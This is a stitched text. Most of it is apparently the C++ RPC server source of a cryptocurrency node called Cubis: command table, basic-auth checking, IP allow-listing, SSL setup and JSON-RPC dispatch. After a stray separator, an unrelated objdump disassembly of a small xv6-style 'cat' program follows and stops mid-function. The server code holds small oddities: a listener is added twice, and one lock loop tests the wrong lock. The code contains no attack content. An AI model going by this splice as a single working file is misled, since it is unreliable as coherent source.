{"control", "getinfo", &getinfo, true, false, false}, /* uses wallet if enabled */
{"control", "help", &help, true, true, false},
{"control", "stop", &stop, true, true, false},
/* P2P networking */
{"network", "getnetworkinfo", &getnetworkinfo, true, false, false},
{"network", "addnode", &addnode, true, true, false},
{"network", "getaddednodeinfo", &getaddednodeinfo, true, true, false},
{"network", "getconnectioncount", &getconnectioncount, true, false, false},
{"network", "getnettotals", &getnettotals, true, true, false},
{"network", "getpeerinfo", &getpeerinfo, true, false, false},
{"network", "ping", &ping, true, false, false},
/* Block chain and UTXO */
{"blockchain", "getblockchaininfo", &getblockchaininfo, true, false, false},
{"blockchain", "getbestblockhash", &getbestblockhash, true, false, false},
{"blockchain", "getblockcount", &getblockcount, true, false, false},
{"blockchain", "getblock", &getblock, true, false, false},
{"blockchain", "getblockhash", &getblockhash, true, false, false},
{"blockchain", "getblockheader", &getblockheader, false, false, false},
{"blockchain", "getchaintips", &getchaintips, true, false, false},
{"blockchain", "getdifficulty", &getdifficulty, true, false, false},
{"blockchain", "getmempoolinfo", &getmempoolinfo, true, true, false},
{"blockchain", "getrawmempool", &getrawmempool, true, false, false},
{"blockchain", "gettxout", &gettxout, true, false, false},
{"blockchain", "gettxoutsetinfo", &gettxoutsetinfo, true, false, false},
{"blockchain", "verifychain", &verifychain, true, false, false},
{"blockchain", "invalidateblock", &invalidateblock, true, true, false},
{"blockchain", "reconsiderblock", &reconsiderblock, true, true, false},
/* Mining */
{"mining", "getblocktemplate", &getblocktemplate, true, false, false},
{"mining", "getmininginfo", &getmininginfo, true, false, false},
{"mining", "getnetworkhashps", &getnetworkhashps, true, false, false},
{"mining", "prioritisetransaction", &prioritisetransaction, true, false, false},
{"mining", "submitblock", &submitblock, true, true, false},
{"mining", "reservebalance", &reservebalance, true, true, false},
#ifdef ENABLE_WALLET
/* Coin generation */
{"generating", "getgenerate", &getgenerate, true, false, false},
{"generating", "gethashespersec", &gethashespersec, true, false, false},
{"generating", "setgenerate", &setgenerate, true, true, false},
#endif
/* Raw transactions */
{"rawtransactions", "createrawtransaction", &createrawtransaction, true, false, false},
{"rawtransactions", "decoderawtransaction", &decoderawtransaction, true, false, false},
{"rawtransactions", "decodescript", &decodescript, true, false, false},
{"rawtransactions", "getrawtransaction", &getrawtransaction, true, false, false},
{"rawtransactions", "sendrawtransaction", &sendrawtransaction, false, false, false},
{"rawtransactions", "signrawtransaction", &signrawtransaction, false, false, false}, /* uses wallet if enabled */
/* Utility functions */
{"util", "createmultisig", &createmultisig, true, true, false},
{"util", "validateaddress", &validateaddress, true, false, false}, /* uses wallet if enabled */
{"util", "verifymessage", &verifymessage, true, false, false},
{"util", "estimatefee", &estimatefee, true, true, false},
{"util", "estimatepriority", &estimatepriority, true, true, false},
/* Not shown in help */
{"hidden", "invalidateblock", &invalidateblock, true, true, false},
{"hidden", "reconsiderblock", &reconsiderblock, true, true, false},
{"hidden", "setmocktime", &setmocktime, true, false, false},
/* Cubis features */
{"cubis", "masternode", &masternode, true, true, false},
{"cubis", "listmasternodes", &listmasternodes, true, true, false},
{"cubis", "getmasternodecount", &getmasternodecount, true, true, false},
{"cubis", "masternodeconnect", &masternodeconnect, true, true, false},
{"cubis", "masternodecurrent", &masternodecurrent, true, true, false},
{"cubis", "masternodedebug", &masternodedebug, true, true, false},
{"cubis", "startmasternode", &startmasternode, true, true, false},
{"cubis", "createmasternodekey", &createmasternodekey, true, true, false},
{"cubis", "getmasternodeoutputs", &getmasternodeoutputs, true, true, false},
{"cubis", "listmasternodeconf", &listmasternodeconf, true, true, false},
{"cubis", "getmasternodestatus", &getmasternodestatus, true, true, false},
{"cubis", "getmasternodewinners", &getmasternodewinners, true, true, false},
{"cubis", "getmasternodescores", &getmasternodescores, true, true, false},
{"cubis", "mnbudget", &mnbudget, true, true, false},
{"cubis", "preparebudget", &preparebudget, true, true, false},
{"cubis", "submitbudget", &submitbudget, true, true, false},
{"cubis", "mnbudgetvote", &mnbudgetvote, true, true, false},
{"cubis", "getbudgetvotes", &getbudgetvotes, true, true, false},
{"cubis", "getnextsuperblock", &getnextsuperblock, true, true, false},
{"cubis", "getbudgetprojection", &getbudgetprojection, true, true, false},
{"cubis", "getbudgetinfo", &getbudgetinfo, true, true, false},
{"cubis", "mnbudgetrawvote", &mnbudgetrawvote, true, true, false},
{"cubis", "mnfinalbudget", &mnfinalbudget, true, true, false},
{"cubis", "checkbudgets", &checkbudgets, true, true, false},
{"cubis", "mnsync", &mnsync, true, true, false},
{"cubis", "spork", &spork, true, true, false},
{"cubis", "getpoolinfo", &getpoolinfo, true, true, false},
#ifdef ENABLE_WALLET
{"cubis", "obfuscation", &obfuscation, false, false, true}, /* not threadSafe because of SendMoney */
/* Wallet */
{"wallet", "addmultisigaddress", &addmultisigaddress, true, false, true},
{"wallet", "autocombinerewards", &autocombinerewards, false, false, true},
{"wallet", "backupwallet", &backupwallet, true, false, true},
{"wallet", "dumpprivkey", &dumpprivkey, true, false, true},
{"wallet", "dumpwallet", &dumpwallet, true, false, true},
{"wallet", "bip38encrypt", &bip38encrypt, true, false, true},
{"wallet", "bip38decrypt", &bip38decrypt, true, false, true},
{"wallet", "encryptwallet", &encryptwallet, true, false, true},
{"wallet", "getaccountaddress", &getaccountaddress, true, false, true},
{"wallet", "getaccount", &getaccount, true, false, true},
{"wallet", "getaddressesbyaccount", &getaddressesbyaccount, true, false, true},
{"wallet", "getbalance", &getbalance, false, false, true},
{"wallet", "getnewaddress", &getnewaddress, true, false, true},
{"wallet", "getrawchangeaddress", &getrawchangeaddress, true, false, true},
{"wallet", "getreceivedbyaccount", &getreceivedbyaccount, false, false, true},
{"wallet", "getreceivedbyaddress", &getreceivedbyaddress, false, false, true},
{"wallet", "getstakingstatus", &getstakingstatus, false, false, true},
{"wallet", "getstakesplitthreshold", &getstakesplitthreshold, false, false, true},
{"wallet", "gettransaction", &gettransaction, false, false, true},
{"wallet", "getunconfirmedbalance", &getunconfirmedbalance, false, false, true},
{"wallet", "getwalletinfo", &getwalletinfo, false, false, true},
{"wallet", "importprivkey", &importprivkey, true, false, true},
{"wallet", "importwallet", &importwallet, true, false, true},
{"wallet", "importaddress", &importaddress, true, false, true},
{"wallet", "keypoolrefill", &keypoolrefill, true, false, true},
{"wallet", "listaccounts", &listaccounts, false, false, true},
{"wallet", "listaddressgroupings", &listaddressgroupings, false, false, true},
{"wallet", "listlockunspent", &listlockunspent, false, false, true},
{"wallet", "listreceivedbyaccount", &listreceivedbyaccount, false, false, true},
{"wallet", "listreceivedbyaddress", &listreceivedbyaddress, false, false, true},
{"wallet", "listsinceblock", &listsinceblock, false, false, true},
{"wallet", "listtransactions", &listtransactions, false, false, true},
{"wallet", "listunspent", &listunspent, false, false, true},
{"wallet", "lockunspent", &lockunspent, true, false, true},
{"wallet", "move", &movecmd, false, false, true},
{"wallet", "multisend", &multisend, false, false, true},
{"wallet", "sendfrom", &sendfrom, false, false, true},
{"wallet", "sendmany", &sendmany, false, false, true},
{"wallet", "sendtoaddress", &sendtoaddress, false, false, true},
{"wallet", "sendtoaddressix", &sendtoaddressix, false, false, true},
{"wallet", "setaccount", &setaccount, true, false, true},
{"wallet", "setstakesplitthreshold", &setstakesplitthreshold, false, false, true},
{"wallet", "settxfee", &settxfee, true, false, true},
{"wallet", "signmessage", &signmessage, true, false, true},
{"wallet", "walletlock", &walletlock, true, false, true},
{"wallet", "walletpassphrasechange", &walletpassphrasechange, true, false, true},
{"wallet", "walletpassphrase", &walletpassphrase, true, false, true},
#endif // ENABLE_WALLET
};
CRPCTable::CRPCTable()
{
unsigned int vcidx;
for (vcidx = 0; vcidx < (sizeof(vRPCCommands) / sizeof(vRPCCommands[0])); vcidx++) {
const CRPCCommand* pcmd;
pcmd = &vRPCCommands[vcidx];
mapCommands[pcmd->name] = pcmd;
}
}
const CRPCCommand* CRPCTable::operator[](string name) const
{
map<string, const CRPCCommand*>::const_iterator it = mapCommands.find(name);
if (it == mapCommands.end())
return NULL;
return (*it).second;
}
bool HTTPAuthorized(map<string, string>& mapHeaders)
{
string strAuth = mapHeaders["authorization"];
if (strAuth.substr(0, 6) != "Basic ")
return false;
string strUserPass64 = strAuth.substr(6);
boost::trim(strUserPass64);
string strUserPass = DecodeBase64(strUserPass64);
return TimingResistantEqual(strUserPass, strRPCUserColonPass);
}
void ErrorReply(std::ostream& stream, const Object& objError, const Value& id)
{
// Send error reply from json-rpc error object
int nStatus = HTTP_INTERNAL_SERVER_ERROR;
int code = find_value(objError, "code").get_int();
if (code == RPC_INVALID_REQUEST)
nStatus = HTTP_BAD_REQUEST;
else if (code == RPC_METHOD_NOT_FOUND)
nStatus = HTTP_NOT_FOUND;
string strReply = JSONRPCReply(Value::null, objError, id);
stream << HTTPReply(nStatus, strReply, false) << std::flush;
}
CNetAddr BoostAsioToCNetAddr(boost::asio::ip::address address)
{
CNetAddr netaddr;
// Make sure that IPv4-compatible and IPv4-mapped IPv6 addresses are treated as IPv4 addresses
if (address.is_v6() && (address.to_v6().is_v4_compatible() || address.to_v6().is_v4_mapped()))
address = address.to_v6().to_v4();
if (address.is_v4()) {
boost::asio::ip::address_v4::bytes_type bytes = address.to_v4().to_bytes();
netaddr.SetRaw(NET_IPV4, &bytes[0]);
} else {
boost::asio::ip::address_v6::bytes_type bytes = address.to_v6().to_bytes();
netaddr.SetRaw(NET_IPV6, &bytes[0]);
}
return netaddr;
}
bool ClientAllowed(const boost::asio::ip::address& address)
{
CNetAddr netaddr = BoostAsioToCNetAddr(address);
BOOST_FOREACH (const CSubNet& subnet, rpc_allow_subnets)
if (subnet.Match(netaddr))
return true;
return false;
}
template <typename Protocol>
class AcceptedConnectionImpl : public AcceptedConnection
{
public:
AcceptedConnectionImpl(
asio::io_service& io_service,
ssl::context& context,
bool fUseSSL) : sslStream(io_service, context),
_d(sslStream, fUseSSL),
_stream(_d)
{
}
virtual std::iostream& stream()
{
return _stream;
}
virtual std::string peer_address_to_string() const
{
return peer.address().to_string();
}
virtual void close()
{
_stream.close();
}
typename Protocol::endpoint peer;
asio::ssl::stream<typename Protocol::socket> sslStream;
private:
SSLIOStreamDevice<Protocol> _d;
iostreams::stream<SSLIOStreamDevice<Protocol> > _stream;
};
void ServiceConnection(AcceptedConnection* conn);
//! Forward declaration required for RPCListen
template <typename Protocol, typename SocketAcceptorService>
static void RPCAcceptHandler(boost::shared_ptr<basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
bool fUseSSL,
boost::shared_ptr<AcceptedConnection> conn,
const boost::system::error_code& error);
/**
* Sets up I/O resources to accept and handle a new connection.
*/
template <typename Protocol, typename SocketAcceptorService>
static void RPCListen(boost::shared_ptr<basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
const bool fUseSSL)
{
// Accept connection
boost::shared_ptr<AcceptedConnectionImpl<Protocol> > conn(new AcceptedConnectionImpl<Protocol>(acceptor->get_io_service(), context, fUseSSL));
acceptor->async_accept(
conn->sslStream.lowest_layer(),
conn->peer,
boost::bind(&RPCAcceptHandler<Protocol, SocketAcceptorService>,
acceptor,
boost::ref(context),
fUseSSL,
conn,
_1));
}
/**
* Accept and handle incoming connection.
*/
template <typename Protocol, typename SocketAcceptorService>
static void RPCAcceptHandler(boost::shared_ptr<basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
const bool fUseSSL,
boost::shared_ptr<AcceptedConnection> conn,
const boost::system::error_code& error)
{
// Immediately start accepting new connections, except when we're cancelled or our socket is closed.
if (error != asio::error::operation_aborted && acceptor->is_open())
RPCListen(acceptor, context, fUseSSL);
AcceptedConnectionImpl<ip::tcp>* tcp_conn = dynamic_cast<AcceptedConnectionImpl<ip::tcp>*>(conn.get());
if (error) {
// TODO: Actually handle errors
LogPrintf("%s: Error: %s\n", __func__, error.message());
}
// Restrict callers by IP. It is important to
// do this before starting client thread, to filter out
// certain DoS and misbehaving clients.
else if (tcp_conn && !ClientAllowed(tcp_conn->peer.address())) {
// Only send a 403 if we're not using SSL to prevent a DoS during the SSL handshake.
if (!fUseSSL)
conn->stream() << HTTPError(HTTP_FORBIDDEN, false) << std::flush;
conn->close();
} else {
ServiceConnection(conn.get());
conn->close();
}
}
static ip::tcp::endpoint ParseEndpoint(const std::string& strEndpoint, int defaultPort)
{
std::string addr;
int port = defaultPort;
SplitHostPort(strEndpoint, port, addr);
return ip::tcp::endpoint(asio::ip::address::from_string(addr), port);
}
void StartRPCThreads()
{
rpc_allow_subnets.clear();
rpc_allow_subnets.push_back(CSubNet("127.0.0.0/8")); // always allow IPv4 local subnet
rpc_allow_subnets.push_back(CSubNet("::1")); // always allow IPv6 localhost
if (mapMultiArgs.count("-rpcallowip")) {
const vector<string>& vAllow = mapMultiArgs["-rpcallowip"];
BOOST_FOREACH (string strAllow, vAllow) {
CSubNet subnet(strAllow);
if (!subnet.IsValid()) {
uiInterface.ThreadSafeMessageBox(
strprintf("Invalid -rpcallowip subnet specification: %s. Valid are a single IP (e.g. 1.2.3.4), a network/netmask (e.g. 1.2.3.4/255.255.255.0) or a network/CIDR (e.g. 1.2.3.4/24).", strAllow),
"", CClientUIInterface::MSG_ERROR);
StartShutdown();
return;
}
rpc_allow_subnets.push_back(subnet);
}
}
std::string strAllowed;
BOOST_FOREACH (const CSubNet& subnet, rpc_allow_subnets)
strAllowed += subnet.ToString() + " ";
LogPrint("rpc", "Allowing RPC connections from: %s\n", strAllowed);
strRPCUserColonPass = mapArgs["-rpcuser"] + ":" + mapArgs["-rpcpassword"];
if (((mapArgs["-rpcpassword"] == "") ||
(mapArgs["-rpcuser"] == mapArgs["-rpcpassword"])) &&
Params().RequireRPCPassword()) {
unsigned char rand_pwd[32];
GetRandBytes(rand_pwd, 32);
uiInterface.ThreadSafeMessageBox(strprintf(
_("To use cubisd, or the -server option to cubis-qt, you must set an rpcpassword in the configuration file:\n"
"%s\n"
"It is recommended you use the following random password:\n"
"rpcuser=cubisrpc\n"
"rpcpassword=%s\n"
"(you do not need to remember this password)\n"
"The username and password MUST NOT be the same.\n"
"If the file does not exist, create it with owner-readable-only file permissions.\n"
"It is also recommended to set alertnotify so you are notified of problems;\n"
"for example: alertnotify=echo %%s | mail -s \"CUBIS Alert\" admin@foo.com\n"),
GetConfigFile().string(),
EncodeBase58(&rand_pwd[0], &rand_pwd[0] + 32)),
"", CClientUIInterface::MSG_ERROR | CClientUIInterface::SECURE);
StartShutdown();
return;
}
assert(rpc_io_service == NULL);
rpc_io_service = new asio::io_service();
rpc_ssl_context = new ssl::context(*rpc_io_service, ssl::context::sslv23);
const bool fUseSSL = GetBoolArg("-rpcssl", false);
if (fUseSSL) {
rpc_ssl_context->set_options(ssl::context::no_sslv2 | ssl::context::no_sslv3);
filesystem::path pathCertFile(GetArg("-rpcsslcertificatechainfile", "server.cert"));
if (!pathCertFile.is_complete()) pathCertFile = filesystem::path(GetDataDir()) / pathCertFile;
if (filesystem::exists(pathCertFile))
rpc_ssl_context->use_certificate_chain_file(pathCertFile.string());
else
LogPrintf("ThreadRPCServer ERROR: missing server certificate file %s\n", pathCertFile.string());
filesystem::path pathPKFile(GetArg("-rpcsslprivatekeyfile", "server.pem"));
if (!pathPKFile.is_complete()) pathPKFile = filesystem::path(GetDataDir()) / pathPKFile;
if (filesystem::exists(pathPKFile))
rpc_ssl_context->use_private_key_file(pathPKFile.string(), ssl::context::pem);
else
LogPrintf("ThreadRPCServer ERROR: missing server private key file %s\n", pathPKFile.string());
string strCiphers = GetArg("-rpcsslciphers", "TLSv1.2+HIGH:TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!3DES:@STRENGTH");
SSL_CTX_set_cipher_list(rpc_ssl_context->impl(), strCiphers.c_str());
}
std::vector<ip::tcp::endpoint> vEndpoints;
bool bBindAny = false;
int defaultPort = GetArg("-rpcport", BaseParams().RPCPort());
if (!mapArgs.count("-rpcallowip")) // Default to loopback if not allowing external IPs
{
vEndpoints.push_back(ip::tcp::endpoint(asio::ip::address_v6::loopback(), defaultPort));
vEndpoints.push_back(ip::tcp::endpoint(asio::ip::address_v4::loopback(), defaultPort));
if (mapArgs.count("-rpcbind")) {
LogPrintf("WARNING: option -rpcbind was ignored because -rpcallowip was not specified, refusing to allow everyone to connect\n");
}
} else if (mapArgs.count("-rpcbind")) // Specific bind address
{
BOOST_FOREACH (const std::string& addr, mapMultiArgs["-rpcbind"]) {
try {
vEndpoints.push_back(ParseEndpoint(addr, defaultPort));
} catch (const boost::system::system_error&) {
uiInterface.ThreadSafeMessageBox(
strprintf(_("Could not parse -rpcbind value %s as network address"), addr),
"", CClientUIInterface::MSG_ERROR);
StartShutdown();
return;
}
}
} else { // No specific bind address specified, bind to any
vEndpoints.push_back(ip::tcp::endpoint(asio::ip::address_v6::any(), defaultPort));
vEndpoints.push_back(ip::tcp::endpoint(asio::ip::address_v4::any(), defaultPort));
// Prefer making the socket dual IPv6/IPv4 instead of binding
// to both addresses seperately.
bBindAny = true;
}
bool fListening = false;
std::string strerr;
std::string straddress;
BOOST_FOREACH (const ip::tcp::endpoint& endpoint, vEndpoints) {
try {
asio::ip::address bindAddress = endpoint.address();
straddress = bindAddress.to_string();
LogPrintf("Binding RPC on address %s port %i (IPv4+IPv6 bind any: %i)\n", straddress, endpoint.port(), bBindAny);
boost::system::error_code v6_only_error;
boost::shared_ptr<ip::tcp::acceptor> acceptor(new ip::tcp::acceptor(*rpc_io_service));
acceptor->open(endpoint.protocol());
acceptor->set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));
// Try making the socket dual IPv6/IPv4 when listening on the IPv6 "any" address
acceptor->set_option(boost::asio::ip::v6_only(
!bBindAny || bindAddress != asio::ip::address_v6::any()),
v6_only_error);
acceptor->bind(endpoint);
acceptor->listen(socket_base::max_connections);
RPCListen(acceptor, *rpc_ssl_context, fUseSSL);
rpc_acceptors.push_back(acceptor);
fListening = true;
rpc_acceptors.push_back(acceptor);
// If dual IPv6/IPv4 bind successful, skip binding to IPv4 separately
if (bBindAny && bindAddress == asio::ip::address_v6::any() && !v6_only_error)
break;
} catch (boost::system::system_error& e) {
LogPrintf("ERROR: Binding RPC on address %s port %i failed: %s\n", straddress, endpoint.port(), e.what());
strerr = strprintf(_("An error occurred while setting up the RPC address %s port %u for listening: %s"), straddress, endpoint.port(), e.what());
}
}
if (!fListening) {
uiInterface.ThreadSafeMessageBox(strerr, "", CClientUIInterface::MSG_ERROR);
StartShutdown();
return;
}
rpc_worker_group = new boost::thread_group();
for (int i = 0; i < GetArg("-rpcthreads", 4); i++)
rpc_worker_group->create_thread(boost::bind(&asio::io_service::run, rpc_io_service));
fRPCRunning = true;
}
void StartDummyRPCThread()
{
if (rpc_io_service == NULL) {
rpc_io_service = new asio::io_service();
/* Create dummy "work" to keep the thread from exiting when no timeouts active,
* see http://www.boost.org/doc/libs/1_51_0/doc/html/boost_asio/reference/io_service.html#boost_asio.reference.io_service.stopping_the_io_service_from_running_out_of_work */
rpc_dummy_work = new asio::io_service::work(*rpc_io_service);
rpc_worker_group = new boost::thread_group();
rpc_worker_group->create_thread(boost::bind(&asio::io_service::run, rpc_io_service));
fRPCRunning = true;
}
}
void StopRPCThreads()
{
if (rpc_io_service == NULL) return;
// Set this to false first, so that longpolling loops will exit when woken up
fRPCRunning = false;
// First, cancel all timers and acceptors
// This is not done automatically by ->stop(), and in some cases the destructor of
// asio::io_service can hang if this is skipped.
boost::system::error_code ec;
BOOST_FOREACH (const boost::shared_ptr<ip::tcp::acceptor>& acceptor, rpc_acceptors) {
acceptor->cancel(ec);
if (ec)
LogPrintf("%s: Warning: %s when cancelling acceptor", __func__, ec.message());
}
rpc_acceptors.clear();
BOOST_FOREACH (const PAIRTYPE(std::string, boost::shared_ptr<deadline_timer>) & timer, deadlineTimers) {
timer.second->cancel(ec);
if (ec)
LogPrintf("%s: Warning: %s when cancelling timer", __func__, ec.message());
}
deadlineTimers.clear();
rpc_io_service->stop();
cvBlockChange.notify_all();
if (rpc_worker_group != NULL)
rpc_worker_group->join_all();
delete rpc_dummy_work;
rpc_dummy_work = NULL;
delete rpc_worker_group;
rpc_worker_group = NULL;
delete rpc_ssl_context;
rpc_ssl_context = NULL;
delete rpc_io_service;
rpc_io_service = NULL;
}
bool IsRPCRunning()
{
return fRPCRunning;
}
void SetRPCWarmupStatus(const std::string& newStatus)
{
LOCK(cs_rpcWarmup);
rpcWarmupStatus = newStatus;
}
void SetRPCWarmupFinished()
{
LOCK(cs_rpcWarmup);
assert(fRPCInWarmup);
fRPCInWarmup = false;
}
bool RPCIsInWarmup(std::string* outStatus)
{
LOCK(cs_rpcWarmup);
if (outStatus)
*outStatus = rpcWarmupStatus;
return fRPCInWarmup;
}
void RPCRunHandler(const boost::system::error_code& err, boost::function<void(void)> func)
{
if (!err)
func();
}
void RPCRunLater(const std::string& name, boost::function<void(void)> func, int64_t nSeconds)
{
assert(rpc_io_service != NULL);
if (deadlineTimers.count(name) == 0) {
deadlineTimers.insert(make_pair(name,
boost::shared_ptr<deadline_timer>(new deadline_timer(*rpc_io_service))));
}
deadlineTimers[name]->expires_from_now(posix_time::seconds(nSeconds));
deadlineTimers[name]->async_wait(boost::bind(RPCRunHandler, _1, func));
}
class JSONRequest
{
public:
Value id;
string strMethod;
Array params;
JSONRequest() { id = Value::null; }
void parse(const Value& valRequest);
};
void JSONRequest::parse(const Value& valRequest)
{
// Parse request
if (valRequest.type() != obj_type)
throw JSONRPCError(RPC_INVALID_REQUEST, "Invalid Request object");
const Object& request = valRequest.get_obj();
// Parse id now so errors from here on will have the id
id = find_value(request, "id");
// Parse method
Value valMethod = find_value(request, "method");
if (valMethod.type() == null_type)
throw JSONRPCError(RPC_INVALID_REQUEST, "Missing method");
if (valMethod.type() != str_type)
throw JSONRPCError(RPC_INVALID_REQUEST, "Method must be a string");
strMethod = valMethod.get_str();
if (strMethod != "getblocktemplate")
LogPrint("rpc", "ThreadRPCServer method=%s\n", SanitizeString(strMethod));
// Parse params
Value valParams = find_value(request, "params");
if (valParams.type() == array_type)
params = valParams.get_array();
else if (valParams.type() == null_type)
params = Array();
else
throw JSONRPCError(RPC_INVALID_REQUEST, "Params must be an array");
}
static Object JSONRPCExecOne(const Value& req)
{
Object rpc_result;
JSONRequest jreq;
try {
jreq.parse(req);
Value result = tableRPC.execute(jreq.strMethod, jreq.params);
rpc_result = JSONRPCReplyObj(result, Value::null, jreq.id);
} catch (Object& objError) {
rpc_result = JSONRPCReplyObj(Value::null, objError, jreq.id);
} catch (std::exception& e) {
rpc_result = JSONRPCReplyObj(Value::null,
JSONRPCError(RPC_PARSE_ERROR, e.what()), jreq.id);
}
return rpc_result;
}
static string JSONRPCExecBatch(const Array& vReq)
{
Array ret;
for (unsigned int reqIdx = 0; reqIdx < vReq.size(); reqIdx++)
ret.push_back(JSONRPCExecOne(vReq[reqIdx]));
return write_string(Value(ret), false) + "\n";
}
static bool HTTPReq_JSONRPC(AcceptedConnection* conn,
string& strRequest,
map<string, string>& mapHeaders,
bool fRun)
{
// Check authorization
if (mapHeaders.count("authorization") == 0) {
conn->stream() << HTTPError(HTTP_UNAUTHORIZED, false) << std::flush;
return false;
}
if (!HTTPAuthorized(mapHeaders)) {
LogPrintf("ThreadRPCServer incorrect password attempt from %s\n", conn->peer_address_to_string());
/* Deter brute-forcing
If this results in a DoS the user really
shouldn't have their RPC port exposed. */
MilliSleep(250);
conn->stream() << HTTPError(HTTP_UNAUTHORIZED, false) << std::flush;
return false;
}
JSONRequest jreq;
try {
// Parse request
Value valRequest;
if (!read_string(strRequest, valRequest))
throw JSONRPCError(RPC_PARSE_ERROR, "Parse error");
// Return immediately if in warmup
{
LOCK(cs_rpcWarmup);
if (fRPCInWarmup)
throw JSONRPCError(RPC_IN_WARMUP, rpcWarmupStatus);
}
string strReply;
// singleton request
if (valRequest.type() == obj_type) {
jreq.parse(valRequest);
Value result = tableRPC.execute(jreq.strMethod, jreq.params);
// Send reply
strReply = JSONRPCReply(result, Value::null, jreq.id);
// array of requests
} else if (valRequest.type() == array_type)
strReply = JSONRPCExecBatch(valRequest.get_array());
else
throw JSONRPCError(RPC_PARSE_ERROR, "Top-level object parse error");
conn->stream() << HTTPReplyHeader(HTTP_OK, fRun, strReply.size()) << strReply << std::flush;
} catch (Object& objError) {
ErrorReply(conn->stream(), objError, jreq.id);
return false;
} catch (std::exception& e) {
ErrorReply(conn->stream(), JSONRPCError(RPC_PARSE_ERROR, e.what()), jreq.id);
return false;
}
return true;
}
void ServiceConnection(AcceptedConnection* conn)
{
bool fRun = true;
while (fRun && !ShutdownRequested()) {
int nProto = 0;
map<string, string> mapHeaders;
string strRequest, strMethod, strURI;
// Read HTTP request line
if (!ReadHTTPRequestLine(conn->stream(), nProto, strMethod, strURI))
break;
// Read HTTP message headers and body
ReadHTTPMessage(conn->stream(), mapHeaders, strRequest, nProto, MAX_SIZE);
// HTTP Keep-Alive is false; close connection immediately
if ((mapHeaders["connection"] == "close") || (!GetBoolArg("-rpckeepalive", true)))
fRun = false;
// Process via JSON-RPC API
if (strURI == "/") {
if (!HTTPReq_JSONRPC(conn, strRequest, mapHeaders, fRun))
break;
// Process via HTTP REST API
} else if (strURI.substr(0, 6) == "/rest/" && GetBoolArg("-rest", false)) {
if (!HTTPReq_REST(conn, strURI, mapHeaders, fRun))
break;
} else {
conn->stream() << HTTPError(HTTP_NOT_FOUND, false) << std::flush;
break;
}
}
}
json_spirit::Value CRPCTable::execute(const std::string& strMethod, const json_spirit::Array& params) const
{
// Find method
const CRPCCommand* pcmd = tableRPC[strMethod];
if (!pcmd)
throw JSONRPCError(RPC_METHOD_NOT_FOUND, "Method not found");
#ifdef ENABLE_WALLET
if (pcmd->reqWallet && !pwalletMain)
throw JSONRPCError(RPC_METHOD_NOT_FOUND, "Method not found (disabled)");
#endif
// Observe safe mode
string strWarning = GetWarnings("rpc");
if (strWarning != "" && !GetBoolArg("-disablesafemode", false) &&
!pcmd->okSafeMode)
throw JSONRPCError(RPC_FORBIDDEN_BY_SAFE_MODE, string("Safe mode: ") + strWarning);
try {
// Execute
Value result;
{
if (pcmd->threadSafe)
result = pcmd->actor(params, false);
#ifdef ENABLE_WALLET
else if (!pwalletMain) {
LOCK(cs_main);
result = pcmd->actor(params, false);
} else {
while (true) {
TRY_LOCK(cs_main, lockMain);
if (!lockMain) {
MilliSleep(50);
continue;
}
while (true) {
TRY_LOCK(pwalletMain->cs_wallet, lockWallet);
if (!lockMain) {
MilliSleep(50);
continue;
}
result = pcmd->actor(params, false);
break;
}
break;
}
}
#else // ENABLE_WALLET
else {
LOCK(cs_main);
result = pcmd->actor(params, false);
}
#endif // !ENABLE_WALLET
}
return result;
} catch (std::exception& e) {
throw JSONRPCError(RPC_MISC_ERROR, e.what());
}
}
std::vector<std::string> CRPCTable::listCommands() const
{
std::vector<std::string> commandList;
typedef std::map<std::string, const CRPCCommand*> commandMap;
std::transform( mapCommands.begin(), mapCommands.end(),
std::back_inserter(commandList),
boost::bind(&commandMap::value_type::first,_1) );
return commandList;
}
std::string HelpExampleCli(string methodname, string args)
{
return "> cubis-cli " + methodname + " " + args + "\n";
}
std::string HelpExampleRpc(string methodname, string args)
{
return "> curl --user myusername --data-binary '{\"jsonrpc\": \"1.0\", \"id\":\"curltest\", "
"\"method\": \"" +
methodname + "\", \"params\": [" + args + "] }' -H 'content-type: text/plain;' http://127.0.0.1:51473/\n";
}
const CRPCTable tableRPC;
|
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: be 01 00 00 00 mov $0x1,%esi
16: 83 ec 18 sub $0x18,%esp
19: 8b 01 mov (%ecx),%eax
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
int fd, i;
if(argc <= 1){
21: 83 f8 01 cmp $0x1,%eax
{
24: 89 45 e4 mov %eax,-0x1c(%ebp)
if(argc <= 1){
27: 7e 54 jle 7d <main+0x7d>
29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cat(0);
exit();
}
for(i = 1; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
30: 83 ec 08 sub $0x8,%esp
33: 6a 00 push $0x0
35: ff 33 pushl (%ebx)
37: e8 a6 03 00 00 call 3e2 <open>
3c: 83 c4 10 add $0x10,%esp
3f: 85 c0 test %eax,%eax
41: 89 c7 mov %eax,%edi
43: 78 24 js 69 <main+0x69>
printf(1, "cat: cannot open %s\n", argv[i]);
exit();
}
cat(fd);
45: 83 ec 0c sub $0xc,%esp
for(i = 1; i < argc; i++){
48: 83 c6 01 add $0x1,%esi
4b: 83 c3 04 add $0x4,%ebx
cat(fd);
4e: 50 push %eax
4f: e8 3c 00 00 00 call 90 <cat>
close(fd);
54: 89 3c 24 mov %edi,(%esp)
57: e8 6e 03 00 00 call 3ca <close>
for(i = 1; i < argc; i++){
5c: 83 c4 10 add $0x10,%esp
5f: 39 75 e4 cmp %esi,-0x1c(%ebp)
62: 75 cc jne 30 <main+0x30>
}
exit();
64: e8 39 03 00 00 call 3a2 <exit>
printf(1, "cat: cannot open %s\n", argv[i]);
69: 50 push %eax
6a: ff 33 pushl (%ebx)
6c: 68 7b 08 00 00 push $0x87b
71: 6a 01 push $0x1
73: e8 88 04 00 00 call 500 <printf>
exit();
78: e8 25 03 00 00 call 3a2 <exit>
cat(0);
